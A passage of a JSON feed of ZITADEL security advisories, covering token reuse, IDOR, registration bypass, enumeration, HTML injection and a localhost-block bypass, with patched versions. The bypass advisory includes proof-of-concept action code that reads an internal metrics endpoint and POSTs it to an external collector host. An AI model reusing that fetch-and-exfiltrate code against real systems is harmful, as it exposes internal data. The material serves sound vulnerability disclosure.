vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-05-28T17:36:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-93m4-mfpg-c3xf","https://github.com/zitadel/zitadel/commit/c097887bc5f680e12c998580fb56d98a15758f53","https://nvd.nist.gov/vuln/detail/CVE-2025-48936","https://github.com/advisories/GHSA-93m4-mfpg-c3xf"],"source_kind":"github","identifiers":["GHSA-93m4-mfpg-c3xf","CVE-2025-48936"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-05-28T18:08:02.751Z","updated_at":"2026-11-05T05:07:34.088Z","epss_percentage":0.00411,"epss_percentile":0.35501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 2.38.2-0.20240919104753-94d1eb767837"},{"first_patched_version":"2.71.11","vulnerable_version_range":"\u003e= 2.71.0, \u003c= 2.71.10"},{"first_patched_version":"3.2.2","vulnerable_version_range":"\u003e= 3.0.0-rc1, \u003c 3.2.2"},{"first_patched_version":"2.70.12","vulnerable_version_range":"\u003e= 2.38.3, \u003c 2.70.12"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"0.0.0-20250528081227-c097887bc5f6","vulnerable_version_range":"\u003c 0.0.0-20250528081227-c097887bc5f6"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05M200LW1mcGctYzN4Zs4ABIbp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNHI4LW1wN2ctODVmcc4ABHiR","url":"https://github.com/advisories/GHSA-g4r8-mp7g-85fq","title":"ZITADEL Allows IdP Intent Token Reuse","description":"### Impact\n\nZITADEL offers developers the ability to manage user sessions using the [Session API](https://zitadel.com/docs/category/apis/resources/session_service_v2/session-service). This API enables the use of IdPs for authentication, known as idp intents.\n\nFollowing a successful idp intent, the client receives an id and token on a predefined URI. These id and token can then be used to authenticate the user or their session.\n\nHowever, it was possible to exploit this feature by repeatedly using intents. This allowed an attacker with access to the application’s URI to retrieve the id and token, enabling them to authenticate on behalf of the user.\n\nIt’s important to note that the use of additional factors (MFA) prevents a complete authentication process and, consequently, access to the ZITADEL API.\n\n### Patches\n\n3.x versions are fixed on \u003e=[3.0.0](https://github.com/zitadel/zitadel/releases/tag/v3.0.0)\n2.71.x versions are fixed on \u003e=[2.71.9](https://github.com/zitadel/zitadel/releases/tag/v2.71.9)\n2.x versions are fixed on \u003e=[2.70.10](https://github.com/zitadel/zitadel/releases/tag/v2.70.10)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Józef Chraplewski from Nedap for reporting this vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-05-06T16:51:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-g4r8-mp7g-85fq","https://github.com/zitadel/zitadel/commit/b1e60e7398d677f08b06fd7715227f70b7ca1162","https://github.com/zitadel/zitadel/releases/tag/v2.70.10","https://github.com/zitadel/zitadel/releases/tag/v2.71.9","https://github.com/zitadel/zitadel/releases/tag/v3.0.0","https://nvd.nist.gov/vuln/detail/CVE-2025-46815","https://github.com/advisories/GHSA-g4r8-mp7g-85fq"],"source_kind":"github","identifiers":["GHSA-g4r8-mp7g-85fq","CVE-2025-46815"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-05-06T17:09:04.102Z","updated_at":"2026-11-05T05:07:40.418Z","epss_percentage":0.00463,"epss_percentile":0.39866,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNHI4LW1wN2ctODVmcc4ABHiR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNHI4LW1wN2ctODVmcc4ABHiR","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.71.9","vulnerable_version_range":"\u003e= 2.71.0, \u003c= 2.71.8"},{"first_patched_version":"2.70.10","vulnerable_version_range":"\u003c 2.70.10"},{"first_patched_version":"3.0.0","vulnerable_version_range":"\u003e= 3.0.0-rc.1, \u003c= 3.0.0-rc.3"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNHI4LW1wN2ctODVmcc4ABHiR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2","url":"https://github.com/advisories/GHSA-f3gh-529w-v32x","title":"IDOR Vulnerabilities in ZITADEL's Admin API that Primarily Impact LDAP Configurations","description":"### Summary\n\nZITADEL's Admin API contains Insecure Direct Object Reference (IDOR) vulnerabilities that allow authenticated users, without specific IAM roles, to modify sensitive settings. While several endpoints are affected, the most critical vulnerability lies in the ability to manipulate LDAP configurations. Customers who do not utilize LDAP for authentication are not at risk from the most severe aspects of this vulnerability. However, we still strongly recommend upgrading to the patched version to address all identified issues.\n\n### Description\n\nZITADEL's Admin API, intended for managing ZITADEL instances, contains 12 HTTP endpoints that are unexpectedly accessible to authenticated ZITADEL users who are not ZITADEL managers. The most critical vulnerable endpoints relate to LDAP configuration:\n\n- /idps/ldap\n- /idps/ldap/{id}\n\nBy accessing these endpoints, unauthorized users could:\n\n- Modify ZITADEL's instance LDAP settings, redirecting all LDAP login attempts to a malicious server, effectively taking over user accounts.  \n- Expose the original LDAP server's password, potentially compromising all user accounts.  \n\n### Additional Vulnerable Endpoints\n\nThe following endpoints are also affected by IDOR vulnerabilities, potentially allowing unauthorized modification of instance settings such as languages, labels, and templates:\n\n- /idps/templates/_search\n- /idps/templates/{id}\n- /policies/label/_activate\n- /policies/label/logo\n- /policies/label/logo_dark\n- /policies/label/icon\n- /policies/label/icon_dark\n- /policies/label/font\n- /text/message/passwordless_registration/{language}\n- /text/login/{language} \n\n### Impact\n\nThe impact of this vulnerability varies depending on whether a ZITADEL instance utilizes LDAP for authentication:\n\n- LDAP Users: Successful exploitation could lead to complete takeover of user accounts and exposure of the LDAP server's password.  \n- Non-LDAP Users: While the most severe risks are related to LDAP, exploitation of the additional vulnerable endpoints could still allow unauthorized modification of instance settings, impacting all organizations. \n\n### Patches\n\n2.x versions are fixed on \u003e= [2.71.0](https://github.com/zitadel/zitadel/releases/tag/v2.71.0)\n2.70.x versions are fixed on \u003e= [2.70.1](https://github.com/zitadel/zitadel/releases/tag/v2.70.1)\n2.69.x versions are fixed on \u003e= [2.69.4](https://github.com/zitadel/zitadel/releases/tag/v2.69.4)\n2.68.x versions are fixed on \u003e= [2.68.4](https://github.com/zitadel/zitadel/releases/tag/v2.68.4)\n2.67.x versions are fixed on \u003e= [2.67.8](https://github.com/zitadel/zitadel/releases/tag/v2.67.8)\n2.66.x versions are fixed on \u003e= [2.66.11](https://github.com/zitadel/zitadel/releases/tag/v2.66.11)\n2.65.x versions are fixed on \u003e= [2.65.6](https://github.com/zitadel/zitadel/releases/tag/v2.65.6)\n2.64.x versions are fixed on \u003e= [2.64.5](https://github.com/zitadel/zitadel/releases/tag/v2.64.5)\n2.63.x versions are fixed on \u003e= [2.63.8](https://github.com/zitadel/zitadel/releases/tag/v2.63.8)\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at security@zitadel.com\n\n### Credit\n\nThis vulnerability was discovered by Amit Laish, a senior security researcher from GE Vernova and we want to thank him for reporting this to us!","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-03-04T16:43:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-f3gh-529w-v32x","https://github.com/zitadel/zitadel/releases/tag/v2.63.8","https://github.com/zitadel/zitadel/releases/tag/v2.64.5","https://github.com/zitadel/zitadel/releases/tag/v2.65.6","https://github.com/zitadel/zitadel/releases/tag/v2.66.11","https://github.com/zitadel/zitadel/releases/tag/v2.67.8","https://github.com/zitadel/zitadel/releases/tag/v2.68.4","https://github.com/zitadel/zitadel/releases/tag/v2.69.4","https://github.com/zitadel/zitadel/releases/tag/v2.70.1","https://github.com/zitadel/zitadel/releases/tag/v2.71.0","https://nvd.nist.gov/vuln/detail/CVE-2025-27507","https://github.com/zitadel/zitadel/commit/d9d8339813f1c43d3eb7d8d80f11fdabb2fd2ee4","https://pkg.go.dev/vuln/GO-2025-3499","https://github.com/advisories/GHSA-f3gh-529w-v32x"],"source_kind":"github","identifiers":["GHSA-f3gh-529w-v32x","CVE-2025-27507"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2025-03-04T17:07:54.957Z","updated_at":"2026-11-05T05:08:11.318Z","epss_percentage":0.00609,"epss_percentile":0.48507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.70.1","vulnerable_version_range":"\u003e= 2.70.0, \u003c 2.70.1"},{"first_patched_version":"2.69.4","vulnerable_version_range":"\u003e= 2.69.0, \u003c 2.69.4"},{"first_patched_version":"2.68.4","vulnerable_version_range":"\u003e= 2.68.0, \u003c 2.68.4"},{"first_patched_version":"2.67.8","vulnerable_version_range":"\u003e= 2.67.0, \u003c 2.67.8"},{"first_patched_version":"2.66.11","vulnerable_version_range":"\u003e= 2.66.0, \u003c 2.66.11"},{"first_patched_version":"2.65.6","vulnerable_version_range":"\u003e= 2.65.0, \u003c 2.65.6"},{"first_patched_version":"2.64.5","vulnerable_version_range":"\u003e= 2.64.0, \u003c 2.64.5"},{"first_patched_version":"2.63.8","vulnerable_version_range":"\u003c 2.63.8"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"},{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.70.1","vulnerable_version_range":"\u003e= 2.70.0, \u003c 2.70.1"},{"first_patched_version":"2.69.4","vulnerable_version_range":"\u003e= 2.69.0, \u003c 2.69.4"},{"first_patched_version":"2.68.4","vulnerable_version_range":"\u003e= 2.68.0, \u003c 2.68.4"},{"first_patched_version":"2.67.8","vulnerable_version_range":"\u003e= 2.67.0, \u003c 2.67.8"},{"first_patched_version":"2.66.11","vulnerable_version_range":"\u003e= 2.66.0, \u003c 2.66.11"},{"first_patched_version":"2.65.6","vulnerable_version_range":"\u003e= 2.65.0, \u003c 2.65.6"},{"first_patched_version":"2.64.5","vulnerable_version_range":"\u003e= 2.64.0, \u003c 2.64.5"},{"first_patched_version":"2.63.8","vulnerable_version_range":"\u003c 2.63.8"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mM2doLTUyOXctdjMyeM4ABFE2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcm13LTc2bTYtNGdqY84ABAq8","url":"https://github.com/advisories/GHSA-3rmw-76m6-4gjc","title":"User Registration Bypass in Zitadel","description":"### Impact\nZitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.63.4, disabling the \"User Registration allowed\" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.64.0](https://github.com/zitadel/zitadel/releases/tag/v2.64.0)\n2.63.x versions are fixed on \u003e= [2.63.5](https://github.com/zitadel/zitadel/releases/tag/v2.63.5)\n2.62.x versions are fixed on \u003e= [2.62.7](https://github.com/zitadel/zitadel/releases/tag/v2.62.7)\n2.61.x versions are fixed on \u003e= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on \u003e= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on \u003e= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on \u003e= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n### Workarounds\nUpdating to the patched version is the recommended solution.\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\nThanks to @sevensolutions and @evilgensec for disclosing this!\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-25T19:30:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-3rmw-76m6-4gjc","https://nvd.nist.gov/vuln/detail/CVE-2024-49757","https://github.com/zitadel/zitadel/releases/tag/v2.58.7","https://github.com/zitadel/zitadel/releases/tag/v2.59.5","https://github.com/zitadel/zitadel/releases/tag/v2.60.4","https://github.com/zitadel/zitadel/releases/tag/v2.61.4","https://github.com/zitadel/zitadel/releases/tag/v2.62.7","https://github.com/zitadel/zitadel/releases/tag/v2.63.5","https://github.com/zitadel/zitadel/releases/tag/v2.64.0","https://github.com/advisories/GHSA-3rmw-76m6-4gjc"],"source_kind":"github","identifiers":["GHSA-3rmw-76m6-4gjc","CVE-2024-49757"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-10-25T20:06:28.652Z","updated_at":"2026-11-05T05:08:48.776Z","epss_percentage":0.02518,"epss_percentile":0.8452,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcm13LTc2bTYtNGdqY84ABAq8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcm13LTc2bTYtNGdqY84ABAq8","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.58.7","vulnerable_version_range":"\u003c 2.58.7"},{"first_patched_version":"2.59.5","vulnerable_version_range":"\u003e= 2.59.0, \u003c 2.59.5"},{"first_patched_version":"2.60.4","vulnerable_version_range":"\u003e= 2.60.0, \u003c 2.60.4"},{"first_patched_version":"2.61.4","vulnerable_version_range":"\u003e= 2.61.0, \u003c 2.61.4"},{"first_patched_version":"2.62.7","vulnerable_version_range":"\u003e= 2.62.0, \u003c 2.62.7"},{"first_patched_version":"2.63.5","vulnerable_version_range":"\u003e= 2.63.0, \u003c 2.63.5"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcm13LTc2bTYtNGdqY84ABAq8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Y2Y1LXc5aDMtNHJxds4ABAq7","url":"https://github.com/advisories/GHSA-6cf5-w9h3-4rqv","title":"Denied Host Validation Bypass in Zitadel Actions","description":"### Summary\nA flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1).  The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.\n\n### Details\nWhile attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.\n\u003cimg width=\"781\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d\"\u003e\n\nThe relevant action code demonstrates the attempted request to 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');\n\n    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n        method: 'POST',\n        headers: {\n            'Content-Type': 'application/json',\n        },\n        body: JSON.stringify({\n            'data': user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\nBy creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.\n![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7)\n\nThe modified action code uses the custom domain instead of 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');\n\n    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n        method: 'POST',\n        headers: {\n            'Content-Type': 'application/json',\n        },\n        body: JSON.stringify({\n            'user': user,\n        }),\n    });\n    logger.log(api_r.body);\n}\n```\n\n![image](https://github.com/user-attachments/assets/5a1c720b-fdda-4e7a-b0e0-ec29bff6690e)\n\nThis demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.\n![image](https://github.com/user-attachments/assets/c8e6abe4-5d2c-48d9-ba0f-dacae38ba0be)\n\n## Impact\n\nThis vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.\n## Patches\n\n2.x versions are fixed on \u003e= [2.64.1](https://github.com/zitadel/zitadel/releases/tag/v2.64.1)\n2.63.x versions are fixed on \u003e= [2.63.6](https://github.com/zitadel/zitadel/releases/tag/v2.63.6)\n2.62.x versions are fixed on \u003e= [2.62.8](https://github.com/zitadel/zitadel/releases/tag/v2.62.8)\n2.61.x versions are fixed on \u003e= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on \u003e= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on \u003e= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on \u003e= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n## Workarounds\n\nThere is no workaround since a patch is already available.\n\n## Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n## Credits\n\nThanks to @prdp1137 for reporting this!","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-25T19:29:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-6cf5-w9h3-4rqv","https://nvd.nist.gov/vuln/detail/CVE-2024-49753","https://github.com/zitadel/zitadel/releases/tag/v2.58.7","https://github.com/zitadel/zitadel/releases/tag/v2.59.5","https://github.com/zitadel/zitadel/releases/tag/v2.60.4","https://github.com/zitadel/zitadel/releases/tag/v2.61.4","https://github.com/zitadel/zitadel/releases/tag/v2.62.8","https://github.com/zitadel/zitadel/releases/tag/v2.63.6","https://github.com/zitadel/zitadel/releases/tag/v2.64.1","https://github.com/advisories/GHSA-6cf5-w9h3-4rqv"],"source_kind":"github","identifiers":["GHSA-6cf5-w9h3-4rqv","CVE-2024-49753"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-10-25T20:06:28.975Z","updated_at":"2026-11-05T05:08:48.777Z","epss_percentage":0.00652,"epss_percentile":0.50573,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y2Y1LXc5aDMtNHJxds4ABAq7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Y2Y1LXc5aDMtNHJxds4ABAq7","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e","vulnerable_version_range":"\u003e= 0.0.0, \u003c 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e"},{"first_patched_version":"2.58.7","vulnerable_version_range":"\u003e= 1.80.1, \u003c 2.58.7"},{"first_patched_version":"0.0.0-20241022141644-79fb4cc1cc6e","vulnerable_version_range":"\u003c 0.0.0-20241022141644-79fb4cc1cc6e"},{"first_patched_version":"2.59.5","vulnerable_version_range":"\u003e= 2.59.0, \u003c 2.59.5"},{"first_patched_version":"2.60.4","vulnerable_version_range":"\u003e= 2.60.0, \u003c 2.60.4"},{"first_patched_version":"2.61.4","vulnerable_version_range":"\u003e= 2.61.0, \u003c 2.61.4"},{"first_patched_version":"2.62.8","vulnerable_version_range":"\u003e= 2.62.0, \u003c 2.62.8"},{"first_patched_version":"2.63.6","vulnerable_version_range":"\u003e= 2.63.0, \u003c 2.63.6"},{"first_patched_version":"2.64.1","vulnerable_version_range":"= 2.64.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y2Y1LXc5aDMtNHJxds4ABAq7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Njd2LTZobWctNnFnN84AA-TF","url":"https://github.com/advisories/GHSA-567v-6hmg-6qg7","title":"ZITADEL \"ignoring unknown usernames\" vulnerability","description":"### Impact\n\nZITADEL administrators can enable a setting called \"Ignoring unknown usernames\" which helps mitigate attacks that try to guess/enumerate usernames. If enabled, ZITADEL will show the password prompt even if the user doesn't exist and report \"Username or Password invalid\".\nDue to a implementation change to prevent deadlocks calling the database, the flag would not be correctly respected in all cases and an attacker would gain information if an account exist within ZITADEL, since the error message shows \"object not found\" instead of the generic error message.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.58.1](https://github.com/zitadel/zitadel/releases/tag/v2.58.1)\n2.57.x versions are fixed on \u003e= [2.57.1](https://github.com/zitadel/zitadel/releases/tag/v2.57.1)\n2.56.x versions are fixed on \u003e= [2.56.2](https://github.com/zitadel/zitadel/releases/tag/v2.56.2)\n2.55.x versions are fixed on \u003e= [2.55.5](https://github.com/zitadel/zitadel/releases/tag/v2.55.5)\n2.54.x versions are fixed on \u003e= [2.54.8](https://github.com/zitadel/zitadel/releases/tag/v2.54.8)\n2.53.x versions are fixed on \u003e= [2.53.9](https://github.com/zitadel/zitadel/releases/tag/v2.53.9)\n\nZITADEL recommends upgrading to the latest versions available in due course.\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-07-31T21:02:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-567v-6hmg-6qg7","https://nvd.nist.gov/vuln/detail/CVE-2024-41952","https://github.com/zitadel/zitadel/commit/0ab0c645ef914298c343fa39cccb1290aba48bf6","https://github.com/zitadel/zitadel/commit/3c7d12834e32426416235b9e3374be0f4b9380b8","https://github.com/zitadel/zitadel/commit/5c2526c98aafd1ba206be2fa4291b1d24c384f6d","https://github.com/zitadel/zitadel/commit/8565d24fd8df5bd35294313cfbfcc2e15aea20e9","https://github.com/zitadel/zitadel/commit/b0e71a81ef39667ce2a149ce037c1ca0edbe059d","https://github.com/zitadel/zitadel/commit/fc1d415b8db5b8d481bb65206ce3fc944c0eecea","https://github.com/zitadel/zitadel/releases/tag/v2.53.9","https://github.com/zitadel/zitadel/releases/tag/v2.54.8","https://github.com/zitadel/zitadel/releases/tag/v2.55.5","https://github.com/zitadel/zitadel/releases/tag/v2.56.2","https://github.com/zitadel/zitadel/releases/tag/v2.57.1","https://github.com/zitadel/zitadel/releases/tag/v2.58.1","https://pkg.go.dev/vuln/GO-2024-3014","https://github.com/advisories/GHSA-567v-6hmg-6qg7"],"source_kind":"github","identifiers":["GHSA-567v-6hmg-6qg7","CVE-2024-41952"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-07-31T22:05:54.135Z","updated_at":"2026-11-05T05:09:36.255Z","epss_percentage":0.00633,"epss_percentile":0.49633,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Njd2LTZobWctNnFnN84AA-TF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Njd2LTZobWctNnFnN84AA-TF","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.80.0-v2.20.0.20240731122357-a1d24353db4d","vulnerable_version_range":"\u003e= 1.80.0-v2.20.0.20230609131415-dafa8ab4dfe8, \u003c 1.80.0-v2.20.0.20240731122357-a1d24353db4d"},{"first_patched_version":"0.0.0-20240731122357-a1d24353db4d","vulnerable_version_range":"\u003e= 0.0.0-20230609131415-dafa8ab4dfe8, \u003c 0.0.0-20240731122357-a1d24353db4d"},{"first_patched_version":"2.58.1","vulnerable_version_range":"= 2.58.0"},{"first_patched_version":"2.57.1","vulnerable_version_range":"= 2.57.0"},{"first_patched_version":"2.56.2","vulnerable_version_range":"\u003e= 2.56.0, \u003c= 2.56.1"},{"first_patched_version":"2.55.5","vulnerable_version_range":"\u003e= 2.55.0, \u003c= 2.55.4"},{"first_patched_version":"2.54.8","vulnerable_version_range":"\u003e= 2.54.0, \u003c= 2.54.7"},{"first_patched_version":"2.53.9","vulnerable_version_range":"\u003e= 2.53.0, \u003c= 2.53.8"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Njd2LTZobWctNnFnN84AA-TF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12MzMzLTdoMnAtNWZods4AA-TE","url":"https://github.com/advisories/GHSA-v333-7h2p-5fhv","title":"ZITADEL has improper HTML sanitization in emails and Console UI","description":"### Impact\n\nZITADEL uses HTML for emails and renders certain information such as usernames dynamically. That information can be entered by users or administrators. Due to a missing output sanitization, these emails could include malicious code.\nThis may potentially lead to a threat where an attacker, without privileges, could send out altered notifications that are part of the registration processes. An attacker could create a malicious link, where the injected code would be rendered as part of the email.\n\nDuring investigation of this issue a related issue was found and mitigated, where on the user's detail page the username was not sanitized and would also render HTML, giving an attacker the same vulnerability.\n\nWhile it was possible to inject HTML including javascript, the execution of such scripts would be prevented by most email clients and the Content Security Policy in Console UI.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.58.1](https://github.com/zitadel/zitadel/releases/tag/v2.58.1)\n2.57.x versions are fixed on \u003e= [2.57.1](https://github.com/zitadel/zitadel/releases/tag/v2.57.1)\n2.56.x versions are fixed on \u003e= [2.56.2](https://github.com/zitadel/zitadel/releases/tag/v2.56.2)\n2.55.x versions are fixed on \u003e= [2.55.5](https://github.com/zitadel/zitadel/releases/tag/v2.55.5)\n2.54.x versions are fixed on \u003e= [2.54.8](https://github.com/zitadel/zitadel/releases/tag/v2.54.8)\n2.53.x versions are fixed on \u003e= [2.53.9](https://github.com/zitadel/zitadel/releases/tag/v2.53.9)\n2.52.x versions are fixed on \u003e= [2.52.9](https://github.com/zitadel/zitadel/releases/tag/v2.52.3)\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Sushmita Poudel and David Underwood for reporting this.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-07-31T20:59:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-v333-7h2p-5fhv","https://nvd.nist.gov/vuln/detail/CVE-2024-41953","https://github.com/zitadel/zitadel/commit/0e1f99e987b5851caec45a72660fe9f67e425747","https://github.com/zitadel/zitadel/commit/38da602ee1cfc35c0d7918c298fbfc3f3674133b","https://github.com/zitadel/zitadel/commit/4b59cac67bb89c1f3f84a2041dd273d11151d29f","https://github.com/zitadel/zitadel/commit/c1a3fc72dde16e987d8a09aa291e7c2edfc928f7","https://github.com/zitadel/zitadel/commit/c353f82f89c6982c0888c6763363296cf4263cb2","https://github.com/zitadel/zitadel/commit/d04ac6df8f2f0243e649b802a8bfa6176cef0923","https://github.com/zitadel/zitadel/commit/f846616a3f022e88e3ea8cea05d3254ad86f1615","https://github.com/zitadel/zitadel/releases/tag/v2.52.3","https://github.com/zitadel/zitadel/releases/ta